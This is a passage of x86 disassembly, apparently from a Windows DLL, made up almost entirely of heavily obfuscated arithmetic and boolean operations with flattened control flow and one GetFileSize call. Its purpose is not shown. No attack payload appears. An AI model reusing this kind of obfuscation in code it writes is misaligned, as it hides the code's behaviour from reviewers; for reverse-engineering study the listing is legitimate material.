and ecx, 0x73ebde6c
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x28366008
xor eax, 0x82091a50
and ecx, 0x6936600b
and eax, 0x96c99ff4
or eax, ecx
mov ecx, eax
xor ecx, 0x40064001
xor eax, 0x80408e64
and eax, 0xa970ae6e
and ecx, 0x568f5191
or ecx, eax
mov edi, ecx
xor edi, 0x540f5001
xor ecx, 0xa960a064
and ecx, 0xabe0a1f4
and edi, 0x541f5e0b
or edi, ecx
mov edx, edi
xor edx, 0xabe0a1f4
mov ebx, dword [esp]
mov eax, ebx
and eax, 0x6dfe2542
mov ebp, dword [esp + 4]
mov ecx, ebp
and ecx, 0x9201dabd
or ecx, eax
mov esi, ecx
xor esi, 0x9201da84
xor ecx, 0x61c42542
and ecx, 0x61c4257b
and esi, 0x9e3bda84
or esi, ecx
mov eax, ebx
and eax, 0xa9b0a0e8
mov ecx, ebp
and ecx, 0x564f5f17
or ecx, eax
mov eax, ecx
xor eax, 0x564f5f17
xor ecx, 0x81b00000
and ecx, 0x95f31907
mov ebx, ecx
mov ecx, eax
and ecx, 0x6a0ce6f8
or ecx, ebx
mov ebx, esi
xor ebx, 0x9e3bda84
xor esi, 0x40040030
xor ecx, 0x6a0ce6f8
or ecx, eax
mov eax, ebx
or eax, ecx
and ebx, 0x35ca75cf
and esi, 0xca358a30
or esi, ebx
xor esi, ecx
mov ecx, esi
xor ecx, 0xca358a30
xor esi, 0x35ca75cf
mov ebx, esi
and ebx, 0x5a283602
and ecx, 0xa5d7c9fd
or ecx, ebx
xor ecx, eax
xor ecx, 0xa5d7c9fd
or esi, eax
not esi
or esi, ecx
xor edi, 0x541f5e0b
mov eax, edx
mov ecx, esi
not ecx
mov ebx, edi
and ebx, 0x2b7543a0
and edx, 0xd48abc5f
or edx, ebx
mov ebx, ecx
xor edx, ecx
xor edx, 0xd48abc5f
and edx, esi
and ecx, 0x6806cfc
mov ebp, esi
and esi, 0xf97f9303
or esi, ecx
xor esi, 0x6806cfc
or esi, edi
and edi, 0xcd9c3cfe
and eax, 0x3263c301
or eax, edi
mov ecx, eax
xor ecx, 0x4001
and ebx, 0x6c7b7a28
and ebp, 0x938485d7
or ebp, ebx
xor eax, 0xcd9c3cfe
mov edi, eax
and edi, 0x7b63b7b6
and ecx, 0x849c4849
or ecx, edi
mov edi, ebp
xor edi, 0x80840041
xor ebp, 0x6c7b7a28
or eax, ebp
and ebp, 0x7b63b7b6
and edi, 0x849c4849
or edi, ebp
xor edi, ecx
not eax
or eax, edi
mov edi, eax
not edi
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xc3ff2a86
and edx, 0x3c00d579
or edx, ebx
xor edx, esi
xor edx, 0x3c00d579
or ecx, esi
not ecx
or ecx, edx
and eax, 0x64840d70
mov esi, edi
and esi, 0x9b7bf28f
or esi, eax
xor esi, 0x9b7bf28f
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x3032c9f2
and eax, edx
or edx, esi
and esi, 0x3032c9f2
and edi, 0xcfcd360d
or edi, esi
and ecx, 0xcfcd360d
or ecx, eax
xor ecx, edi
mov esi, edx
not esi
mov eax, ecx
not eax
mov edi, eax
and edi, 0x4174572d
and ecx, 0xbe8ba8d2
or ecx, edi
or eax, edx
and edx, 0x4174572d
and esi, 0xbe8ba8d2
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov edx, eax
not edx
mov esi, eax
mov ecx, eax
mov edi, edx
and edi, 0xc087fa32
and eax, 0x3f7805cd
or eax, edi
xor eax, 0x2a345e8d
or eax, edx
and edx, 0x67384291
and esi, 0x98c7bd6e
or esi, edx
xor esi, 0x8d8be62e
mov edx, ecx
and edx, 0xeab3a4bf
or edx, esi
mov ecx, edx
mov dword [esp], edx
not ecx
mov ebx, eax
not ebx
mov esi, eax
and esi, 0x4cd04054
xor eax, 0x6c987b9e
and eax, ebx
and ebx, 0xb32fbfab
or ebx, esi
mov edi, ebx
xor edi, 0xb32fbfab
mov esi, edi
and esi, 0x93678461
or eax, esi
mov esi, ecx
or esi, 0x6c00639c
and esi, 0xee45e3dc
mov ebp, edx
and ebp, 0x11220421
or ebp, esi
mov esi, edx
or esi, 0x82458040
and esi, 0xee45e3dc
mov edx, ecx
and edx, 0x981802
or edx, esi
xor edx, ebp
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov eax, ecx
and eax, 0xadfce08a
mov edx, dword [esp]
and edx, 0x52031f75
or edx, eax
xor ebx, 0x4cd04054
or ecx, ebx
and ebx, 0xadfce08a
and edi, 0x52031f75
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov eax, esi
not eax
mov edx, eax
and edx, 0xbba7c163
and esi, 0x44583e9c
or esi, edx
xor esi, ecx
xor esi, 0x44583e9c
or eax, ecx
not eax
or eax, esi
mov edx, eax
xor edx, 0xeab3a4bf
xor eax, 0x154c5b40
mov esi, eax
and esi, 0xb5424c1c
mov ecx, edx
and ecx, 0x4abdb3e3
or ecx, esi
mov esi, ecx
xor esi, 0x400da2c3
xor ecx, 0xb5424c1c
mov edi, ecx
and edi, 0x9ab05930
and esi, 0x654fa6cf
or esi, edi
or ecx, edx
and edx, 0x9ab05930
and eax, 0x654fa6cf
or eax, edx
xor eax, esi
not ecx
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete cl
cmp dword [0x1004f90c], 0xa
setl ah
setge ch
mov al, ch
mov bl, ch
inc bl
mov dh, ch
and dh, bl
xor dh, 1
or dh, ch
mov byte [esp], cl
xor ch, cl
mov bh, ch
xor bh, ah
and bh, ch
and dl, ah
and al, cl
or al, dl
mov dl, bh
xor dl, 1
mov ah, al
xor ah, 1
mov ch, dl
and ch, bh
xor ch, 1
mov cl, bh
xor cl, ch
or ch, bh
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
and cl, ah
xor ah, dl
and ch, al
or al, bh
xor al, 1
or al, ah
xor al, 1
or al, ch
or al, cl
mov dl, al
xor dl, 1
xor dh, 1
or dh, bl
xor dh, byte [esp]
mov ah, dh
xor ah, 1
mov cl, ah
and cl, dh
xor cl, 1
or cl, dh
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
or ah, dl
mov ch, al
or ch, cl
mov dh, ch
xor dh, ah
or ch, ah
xor ch, 1
or ch, dh
mov ah, ch
xor ah, 1
and al, ah
and ch, dl
or ch, al
xor ah, ch
and ah, ch
xor cl, dl
mov al, ah
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor cl, 1
and al, dl
mov dl, ah
or dl, cl
xor dl, 1
xor cl, ah
or cl, dl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov edi, 0xb150e919
mov ecx, 0xbcd75999
cmovne edi, ecx
test dl, 1
cmove edi, ecx
test al, 1
mov eax, 0xb150e919
cmove edi, eax
jmp 0x10011930
mov edi, 0x3a794c0
push 0
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x30], eax
jmp 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x3b626ad2
mov edi, ecx
and edi, 0xc49d952d
or edi, edx
xor edi, 0xc49d952d
mov esi, eax
mov dword [esp], eax
and esi, ecx
or esi, edi
mov edx, esi
not edx
and edx, 0xddd0513f
and esi, 0x222faec0
or esi, edx
mov edx, esi
xor edx, 0xddd0513f
and edx, esi
mov edi, eax
or edi, 0x222faec0
mov ebp, edi
not ebp
mov esi, edx
not esi
and edi, 0x9c78782f
mov ebx, ecx
xor ebx, 0x80c0012b
and ebx, ebp
and ebp, 0x41800110
or ebp, edi
mov edi, ebp
xor edi, 0x41868710
or edi, esi
and esi, 0x82c58f6b
and edx, 0x7d3a7094
or edx, esi
mov esi, ebp
xor esi, 0x8040082b
or esi, 0x7d3a7094
xor ebp, 0x740
mov eax, esi
and eax, 0xd48a200e
and ebp, 0x400761
or ebp, eax
mov eax, ebx
not eax
or esi, eax
and eax, 0xd68fa80e
and ebx, 0x9505131
or ebx, eax
xor ebx, ebp
not esi
or esi, ebx
mov eax, esi
xor eax, esi
not eax
and eax, edx
xor eax, esi
mov esi, edi
not esi
or edi, 0x222920c0
mov edx, eax
not edx
mov ebx, edx
and ebx, 0x81356e6a
and eax, 0x7eca9195
or eax, ebx
or edx, edi
and edi, 0x81356e6a
and esi, 0x5cc01115
or esi, edi
xor esi, eax
not edx
or edx, esi
mov esi, edx
not esi
mov eax, esi
and eax, 0xc1f81fd6
mov ebx, edx
and ebx, 0x3e07e029
or ebx, eax
mov edi, ebx
xor edi, 0x8048000
xor ebx, 0x1800200
or esi, 0x1832201
or ebx, 0xe2084428
and ebx, 0xe38b6629
and edi, 0x8648954
or edi, ebx
and esi, 0xe38b6629
and edx, 0x14101082
or edx, esi
xor edx, edi
mov eax, edx
xor eax, 0x30a48
xor edx, 0x2bc80595
and eax, 0x21430ac8
mov esi, edx
and esi, 0xd0103130
or esi, eax
xor esi, 0xd0103130
and edx, 0xeacc407
or edx, esi
mov eax, edx
xor eax, 0x6048407
xor edx, 0x50131830
and eax, 0xa744a7cf
and edx, 0x58bb5830
or edx, eax
mov edi, edx
xor edi, 0x2000800b
xor edx, 0x589b0020
and edx, 0xdfdf27e4
and edi, 0x2020d81b
or edi, edx
mov edx, edi
xor edx, 0x2020d81b
xor edi, 0xdfdf27e4
mov esi, ecx
xor esi, 0x80101
mov eax, ecx
xor eax, 0xb0a002a4
and eax, 0xbce592a4
and esi, 0x431a6d5b
or esi, eax
mov ebx, esi
xor ebx, 0x800000
xor esi, 0x4f57fc5a
mov eax, esi
and eax, 0xfd3877b5
and ebx, 0x2c7884a
or ebx, eax
or esi, ecx
and ecx, 0xfd3877b5
mov eax, dword [esp]
and eax, 0x2c7884a
or eax, ecx
xor eax, ebx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, esi
or ecx, 0x8c64020
mov ebx, eax
or ebx, 0x54190e81
and ecx, 0x5cdf4ea1
and eax, 0x20000148
or eax, ecx
and ebx, 0x5cdf4ea1
and esi, 0x8320b016
or esi, ebx
xor esi, eax
mov eax, esi
xor eax, 0x8be6f036
xor esi, 0x64000a01
and eax, 0x11db95ec
and esi, 0xee246a13
or esi, eax
mov eax, esi
xor eax, 0x24246a00
mov ebx, esi
xor ebx, 0x11db95ec
mov ebp, edi
and ebp, 0x6db930d3
mov ecx, edx
and ecx, 0x9246cf2c
or ecx, ebp
xor ecx, 0x9246cf2c
mov ebp, ebx
and ebp, 0xdbc81177
and eax, 0x2437ee88
or eax, ebp
xor eax, 0x2437ee88
or eax, ecx
and edi, 0x4c788ecd
and edx, 0xb3877132
or edx, edi
mov ebp, esi
xor ebp, 0xa25ce4de
and ebp, ebx
mov ecx, ebp
not ecx
mov edi, ecx
and edi, 0x6f4dd339
and ebp, 0x90b22cc6
or ebp, edi
mov edi, eax
not edi
or ebx, 0x4c788ecd
xor esi, 0x80002002
or ecx, ebx
and ebx, 0x6f4dd339
and esi, 0x90822002
or esi, ebx
xor esi, ebp
not ecx
or ecx, esi
xor ecx, edx
mov edx, eax
and edx, 0x6895aec
xor eax, 0x1abd31be
and eax, edi
mov ebx, edi
and ebx, 0xf976a513
or ebx, edx
mov esi, ebx
xor esi, 0xf976a513
mov edi, ecx
not edi
mov edx, ebx
xor edx, 0x4004a40
or edx, 0x1abd31be
xor ebx, 0x60028000
mov ebp, edx
and ebp, 0x9dc16d97
and ebx, 0x60028240
or ebx, ebp
mov ebp, eax
not ebp
or edx, ebp
and ebp, 0x9dc16d97
and eax, 0x623e9268
or eax, ebp
mov ebp, ecx
or ebp, 0xa401b2
xor eax, ebx
mov ebx, edi
or ebx, 0x4500c600
not edx
or edx, eax
and ebp, 0x45a4c7b2
or esi, edi
and edi, 0xa0420841
or edi, ebp
and ebx, 0x45a4c7b2
and ecx, 0x1a19300c
or ecx, ebx
xor ecx, edi
mov eax, ecx
xor eax, ecx
not eax
and eax, edx
xor eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x96cb761c
and eax, 0x693489e3
or eax, ecx
xor eax, esi
xor eax, 0x693489e3
or edx, esi
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, edx
mov edi, edx
mov esi, edx
or esi, 0x5f373ab6
mov ebx, esi
not ebx
and eax, 0x5f373ab6
or eax, ebx
and esi, 0xa0c8c548
and eax, 0x5f373ab7
or eax, esi
mov esi, eax
not esi
mov ebx, esi
and ebx, 0xcfb289ee
and eax, 0x304d7611
or eax, ebx
and edi, 0xcfb289ee
mov ebx, ecx
and ebx, 0x304d7611
or ebx, edi
xor ebx, eax
mov eax, ebx
mov ebx, ecx
mov ebp, ecx
or ecx, 0xc3573b2
and ecx, 0xc3573b3
mov edi, ecx
xor edi, 0xc3573b3
and edi, edx
not eax
or eax, esi
mov dword [esp], eax
and ebx, 0x44210212
and edx, 0x8085824
or edx, ebx
xor edx, 0x8085824
and ebp, 0xb3d6a5c9
or ebp, edx
mov edx, ebp
not edx
and ebp, 0x7802937b
mov eax, edx
and eax, 0x87fd6c84
or eax, ebp
xor eax, 0x7802937a
and edx, 1
or edx, eax
mov ebp, edx
not ebp
mov eax, edx
and eax, 0x58b8991a
xor edx, 0x8cdf4c81
and edx, ebp
and ebp, 0xa74766e5
or ebp, eax
or ecx, 0x80820c08
and ecx, 0x88825f09
lea esi, [ecx + 0x777da0f6]
mov dword [esp + 4], esi
mov eax, ecx
xor eax, 0xfba2ec77
and eax, esi
or edi, eax
mov dword [esp + 8], edi
mov edi, ebp
xor edi, 0xa74766e5
mov esi, ebp
xor esi, 0x2b982a64
and esi, edi
mov eax, esi
not eax
mov ebx, eax
and ebx, 0x5a5f1a5f
and esi, 0xa5a0e5a0
or esi, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x5a5f1a5f
and edx, 0xa5a0e5a0
or edx, ebx
xor edx, esi
not eax
or eax, edx
mov edx, dword [esp + 8]
mov esi, edx
xor esi, edx
not esi
and esi, eax
xor esi, edx
mov edx, dword [esp]
not edx
xor ebp, 0x58b8991a
xor ecx, 0x88825f09
or ecx, ebp
and ebp, 0x5b83d7a8
and edi, 0xa47c2857
or edi, ebp
mov eax, dword [esp + 4]
and eax, 0xa47c2857
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x6fee989
and esi, 0xf9011676
or esi, ebx
or edi, ecx
and ecx, 0x6fee989
and eax, 0xf9011676
or eax, ecx
xor eax, esi
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, edx
mov ebp, dword [esp]
mov esi, ebp
and esi, 0xacccc834
and edx, 0x533337cb
or edx, esi
xor edx, ecx
and ecx, 0x6a15e7be
mov esi, edi
and esi, 0x95ea1841
or esi, ecx
mov ecx, esi
xor ecx, 0x84c21800
mov ebx, ebp
and ebx, 0x792de2ff
and eax, 0x86d21d00
or eax, ebx
xor esi, 0x6805e2be
and esi, 0x792de2ff
and ecx, 0x86d21d00
or ecx, esi
xor ecx, eax
mov eax, ecx
xor eax, ebp
and eax, ecx
mov esi, eax
xor edx, 0x533337cb
and edx, edi
or edi, ebp
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x9c0b6c64
and edx, 0x63f4939b
or edx, eax
xor edx, edi
xor edx, 0x63f4939b
or ecx, edi
not ecx
or ecx, edx
mov eax, esi
mov dword [esp + 4], esi
mov ebp, esi
not ebp
mov edx, ebp
and edx, 0x4d522e31
and eax, 0xb2add1ce
or eax, edx
mov edx, eax
xor edx, 0xb2add1ce
mov edi, eax
xor edi, 0x27bddf80
and edi, edx
mov ebx, edi
not ebx
mov esi, ebx
and esi, 0x23e8ac7f
and edi, 0xdc175380
or edi, esi
or ebp, 0x6aeff1b1
or ebx, ebp
and ebp, 0x23e8ac7f
mov esi, dword [esp + 4]
and esi, 0x94100200
or esi, ebp
mov ebp, esi
xor eax, 0x4d522e31
mov esi, eax
and esi, 0x88995a25
and edx, 0x7766a5da
or edx, esi
mov esi, ecx
xor edx, ecx
or eax, ecx
xor ecx, 0x28a2e0b1
xor ebp, edi
not ebx
or ebx, ebp
xor esi, 0x15100406
and esi, 0x575d1506
and ecx, 0xa8a2eaf9
or ecx, esi
xor ecx, ebx
mov esi, ecx
xor esi, 0x575d1506
xor edx, 0x7766a5da
not eax
or eax, edx
mov edx, eax
not edx
xor ecx, 0xa8a2eaf9
mov edi, ecx
and edi, 0x58a52036
and esi, 0xa75adfc9
or esi, edi
or ecx, eax
and eax, 0x58a52036
and edx, 0xa75adfc9
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x1040044
mov edi, eax
or edi, 0xc4110da9
and edx, 0xc5150ded
mov ebx, eax
and ebx, 0x20802012
or ebx, edx
and edi, 0xc5150ded
mov esi, ecx
and esi, 0x1a6ad200
or esi, edi
xor esi, ebx
mov edx, esi
xor edx, 0x36e4004
xor esi, 0x24102839
and esi, 0x3c10ba79
and edx, 0xc3ef4586
or edx, esi
mov edi, edx
xor edi, 0xc3ef4586
mov esi, edx
xor esi, 0x1810b038
xor edx, 0x58d2b13e
and edx, edi
and esi, 0x9b3df4b8
or esi, edx
mov edx, esi
xor edx, 0x6eb20947
mov ebx, esi
xor ebx, 0xa3440b0
and ebx, 0xaf442b0
mov edi, edx
and edi, 0xf50bbd4f
or edi, ebx
mov ebx, edi
xor ebx, 0xaf442b0
xor esi, 0x10003400
xor edi, 0x786f76b2
and edi, ebx
or ebx, 0x100c0c0
mov ebp, edi
not ebp
and ebx, 0x6399c0c0
and esi, 0x10023402
or esi, ebx
or edx, ebp
and ebp, 0x6399c0c0
and edi, 0x9c663f3f
or edi, ebp
xor edi, esi
not edx
or edx, edi
not edi
and edi, 0x4248b71
and edx, 0x40092402
add edx, edi
add edx, 0xbbd2508c
mov esi, edx
not esi
and edx, 0xdeefb7e5
and esi, 0x2110481a
or esi, edx
mov edx, esi
xor edx, 0xdeefb7e5
mov ebx, eax
and ebx, 0x442daf73
mov edi, ecx
and edi, 0xbbd2508c
or edi, ebx
mov ebx, edi
not ebx
mov ebp, ebx
and ebp, 0x274da420
and edi, 0xd8b25bdf
or edi, ebp
and ecx, 0x274da420
and eax, 0xd8b25bdf
or eax, ecx
xor eax, edi
not eax
or eax, ebx
mov edi, eax
not edi
xor esi, 0x2110481a
mov ecx, esi
and ecx, 0x99755d25
mov ebx, edx
and ebx, 0x668aa2da
or ebx, ecx
xor ebx, 0x668aa2da
mov ebp, eax
and ebp, 0x7fceae62
mov ecx, edi
and ecx, 0x8031519d
or ecx, ebp
xor ecx, 0x8031519d
or ecx, ebx
and esi, 0x40b63463
and edx, 0xbf49cb9c
or edx, esi
mov esi, eax
and esi, 0x1446cf3b
mov ebx, edi
and ebx, 0xebb930c4
or ebx, esi
mov esi, ebx
xor esi, 0xebb930c4
xor ebx, 0x54f0fb58
and ebx, esi
mov ebp, ebx
not ebp
mov esi, ebp
and esi, 0xcb1aaab5
and ebx, 0x34e5554a
or ebx, esi
mov esi, ecx
not esi
or eax, 0x40b63463
or ebp, eax
and eax, 0xcb1aaab5
and edi, 0x34414108
or edi, eax
xor edi, ebx
not ebp
or ebp, edi
mov eax, ebp
xor eax, ebp
not eax
and eax, edx
xor eax, ebp
mov edi, eax
not edi
mov edx, ecx
xor edx, 0xe786aae9
and edx, ecx
mov ebx, esi
and ebx, 0xe786aae9
or ebx, edx
mov ebp, edi
and ebp, 0x18795516
mov edx, eax
and edx, 0xe786aae9
or edx, ebp
xor edx, ebx
mov ebx, esi
and ebx, 0xa30fc0ef
and ecx, 0x5cf03f10
or ecx, ebx
or esi, eax
and eax, 0xa30fc0ef
and edi, 0x5cf03f10
or edi, eax
xor edi, ecx
not esi
or esi, edi
mov ecx, esi
not ecx
mov eax, edx
not eax
mov edi, eax
and edi, 0x796102c8
and edx, 0x869efd37
or edx, edi
or eax, esi
and esi, 0x796102c8
and ecx, 0x869efd37
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xc23d13ef
mov esi, eax
and esi, 0x3dc2ec10
or esi, ecx
mov ecx, esi
xor ecx, 0x4024010
xor esi, 0x23d03a5
and esi, 0x3bfdafa5
and ecx, 0xc402505a
or ecx, esi
mov esi, ecx
xor esi, 0x38d8205
xor ecx, 0xc402505a
and esi, 0xc78d920d
mov edi, ecx
and edi, 0x38726df2
or edi, esi
xor edi, 0x918bbfe2
and ecx, 0x56062def
or ecx, edi
mov edi, ecx
not edi
mov esi, edx
and esi, 0xa9f9d210
and eax, 0x56062def
or eax, esi
xor edx, eax
and edx, eax
mov esi, edx
not esi
and edx, ecx
or ecx, esi
and esi, edi
or esi, edx
mov eax, esi
not eax
mov edx, eax
and edx, 0x27a3095a
and esi, 0xd85cf6a5
or esi, edx
xor esi, ecx
xor esi, 0xd85cf6a5
or eax, ecx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0x122b829c
xor eax, 0xedd47d63
mov edx, eax
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x90c1ef3d
mov ebx, eax
and ebx, 0x6f3e10c2
or ebx, esi
mov esi, ecx
or esi, edi
and edi, 0x90c1ef3d
and edx, 0x6f3e10c2
or edx, edi
xor edx, ebx
not esi
or esi, edx
mov edx, esi
not edx
and edx, 0x10280114
and esi, 0xefd7feeb
or esi, edx
mov edx, esi
xor edx, 0x10280114
and edx, esi
or eax, 0x41845420
and ecx, 0x200104
and eax, 0x518c5430
or eax, ecx
mov ecx, eax
xor ecx, 0x10080010
xor eax, 0xae73abcf
mov edi, edx
not edi
mov esi, edi
or esi, eax
not esi
and edi, 0xa680c123
and edx, 0x597f3edc
or edx, edi
and eax, 0xa680c123
and ecx, 0x10280014
or ecx, eax
xor ecx, edx
or ecx, esi
mov edi, ecx
xor edi, 0x10280114
mov esi, ecx
xor esi, 0xefd7feeb
mov edx, esi
and edx, 0xccc471c6
mov eax, edi
and eax, 0x333b8e39
or eax, edx
mov edx, eax
xor edx, 0x2028029
xor eax, 0x4c043104
xor ecx, 0x6e0fb439
and ecx, edi
or eax, 0x81d84ad2
mov ebx, ecx
not ebx
mov ebp, eax
and ebp, 0xbd2d27c0
and edx, 0x4202902d
or edx, ebp
or eax, ebx
and ebx, 0xbd2d27c0
and ecx, 0x42d2d83f
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
xor edx, 0x81d84ad2
xor eax, 0x7e27b52d
mov ebx, eax
and ebx, 0x64138080
mov ecx, edx
and ecx, 0x9804602
or ecx, ebx
xor ecx, 0x9804602
or ecx, 0x926c397d
mov ebx, ecx
not ebx
mov ebp, esi
and ebp, 0x6d93c682
and edi, 0x926c397d
or edi, ebp
xor esi, edi
and esi, edi
mov ebp, esi
not ebp
mov edi, ebx
xor edi, ebp
and edi, ebx
and ecx, 0xf34e1a65
and ebx, 0xc91c482
or ebx, ecx
and ebp, 0xf34e1a65
and esi, 0xcb1e59a
or esi, ebp
xor esi, ebx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x4b521252
and edi, 0x2481c480
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0x4b521252
and esi, 0xb4adedad
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov edi, ecx
not edi
mov esi, ecx
xor esi, 0x6d93c682
and esi, ecx
or ecx, 0x926c397d
mov ebx, ecx
and ebx, 0xaceed299
and edi, 0x41110402
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0xaceed299
and esi, 0x53112d66
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, edx
or esi, 0x89403003
mov edi, eax
or edi, 0x66104c44
and esi, 0xef507c47
mov ebx, eax
and ebx, 0x830120
or ebx, esi
and edi, 0xef507c47
mov esi, edx
and esi, 0x102c8298
or esi, edi
xor esi, ebx
mov edi, esi
xor edi, 0x996cb29b
and edx, 0xb91213b7
and eax, 0x46edec48
or eax, edx
xor esi, 0x66934d64
mov edx, esi
and edx, 0xddb179bc
and edi, 0x224e8643
or edi, edx
mov edx, eax
xor edx, 0xb91213b7
xor eax, 0x24c8440
or esi, edx
and edx, 0xddb179bc
and eax, 0x224e8643
or eax, edx
xor eax, edi
not esi
or esi, eax
mov edx, ecx
not edx
mov eax, edx
or eax, esi
and edx, 0xd57fa101
and ecx, 0x2a805efe
or ecx, edx
xor ecx, esi
mov edx, ecx
xor edx, 0x2a805efe
xor ecx, 0xd57fa101
mov esi, ecx
and esi, 0xaa555580
and edx, 0x55aaaa7f
or edx, esi
xor edx, eax
xor edx, 0x55aaaa7f
or ecx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0xc4bd1661
mov esi, ecx
and esi, 0x3b42e99e
or esi, eax
xor esi, 0x3b42e99e
mov eax, edx
and eax, ecx
or eax, esi
mov esi, eax
not esi
and eax, 0x229e0d99
mov edi, esi
and edi, 0xdd61f266
or edi, eax
xor edi, 0x28f00144
and esi, 0xa6e0cdd
or esi, edi
mov edi, esi
not edi
or edx, 0xc4814320
and ecx, 0xa4a00dd
and edx, 0xc4a54f20
or edx, ecx
mov eax, edx
xor eax, 0xc00
xor edx, 0x3b5ab0df
mov ecx, edi
xor ecx, edx
and ecx, edi
and esi, 0x8827911d
and edi, 0x77d86ee2
or edi, esi
and edx, 0x8827911d
and eax, 0x2480cc0
or eax, edx
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x22a0c58
mov esi, eax
and esi, 0x8440085
or esi, edx
mov edx, esi
xor edx, 0x8040001
xor esi, 0xd498472a
or ecx, 0x48048c
and esi, 0xd4d847ae
and edx, 0xa260851
or edx, esi
and ecx, 0xd4d847ae
and eax, 0x2101b000
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2292002
mov esi, eax
and esi, 0xf49283bd
or esi, edx
xor esi, 0x2292002
mov edx, eax
and edx, 0x9445c40
or edx, esi
mov esi, edx
not esi
and ecx, esi
and edx, eax
or edx, ecx
xor esi, edx
test esi, edx
sete al
setne ah
cmp dword [0x1004f90c], 0xa
setge bl
setl dh
mov cl, dh
xor cl, ah
mov byte [esp], cl
mov cl, ah
and cl, dh
mov dl, bl
and dl, al
or dl, cl
mov cl, dh
or cl, al
mov ch, dh
and ch, al
mov bh, ah
and bh, bl
xor al, bl
mov byte [esp + 8], al
xor bl, ah
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov al, cl
xor al, 1
mov bl, al
and bl, cl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov al, byte [esp]
xor bl, al
xor bl, 1
or cl, al
xor cl, 1
or cl, bl
mov byte [esp + 4], cl
xor cl, 1
mov byte [esp], cl
or bh, ch
or ah, dh
xor ah, 1
or ah, byte [esp + 8]
xor ah, 1
or ah, bh
xor ah, 1
mov cl, dh
xor cl, dl
or dl, dh
xor dl, 1
or dl, cl
xor dl, 1
mov dh, ah
xor dh, dl
mov ch, dh
xor ch, 1
or dl, ah
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
xor al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov ah, bl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, bl
mov al, dh
xor al, bl
or bl, dh
and dh, ch
xor dh, 1
mov cl, dh
xor cl, ch
or dh, ch
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
and cl, ah
xor ah, 1
and ah, dh
or ah, cl
xor bl, 1
or bl, al
xor ah, 1
mov al, ah
xor al, bl
or ah, bl
xor ah, 1
or ah, al
mov bl, ah
xor bl, 1
mov al, bl
and al, ah
mov ecx, ebx
xor cl, al
xor al, 1
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov dh, cl
and dh, al
xor dh, 1
or dh, cl
xor dh, 1
or dh, al
mov al, byte [esp + 4]
mov dl, al
mov bh, byte [esp]
and dl, bh
xor dl, 1
or bh, dl
xor bh, 1
or bh, al
mov al, bh
xor al, 1
and bh, al
xor bh, 1
mov cl, bh
xor cl, al
or bh, al
xor bh, 1
or bh, cl
mov al, bh
xor al, 1
and bh, al
xor bh, 1
mov cl, bh
xor cl, al
or bh, al
xor bh, 1
or bh, cl
mov al, bh
xor al, 1
and bh, al
xor bh, 1
mov ecx, eax
xor cl, bh
or bh, al
xor bh, 1
or bh, cl
mov ch, bh
xor ch, 1
mov al, bh
and al, ch
xor al, 1
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
xor bh, ah
and ah, al
xor al, 1
and al, bl
or al, ah
xor al, 1
or al, bl
or ch, bl
mov cl, al
xor cl, 1
xor ch, 1
or ch, bh
mov ah, cl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
xor ah, ch
or ch, al
mov al, dh
xor al, 1
xor ah, 1
xor ch, 1
or ch, ah
movzx ebx, byte [esp + 4]
or dl, bl
xor dl, 1
mov ah, byte [esp]
or dl, ah
mov cl, dl
xor cl, 1
and cl, al
and dl, dh
or dl, cl
and al, bl
mov cl, ah
and cl, dh
or cl, al
or dh, bl
xor cl, 1
mov eax, ecx
xor al, dh
or cl, dh
xor cl, 1
or cl, al
mov ah, cl
xor cl, 1
mov al, cl
and al, ah
xor cl, al
xor al, 1
or al, ah
xor al, 1
or al, cl
mov cl, dl
xor cl, 1
and dl, cl
xor dl, 1
mov ah, dl
xor ah, cl
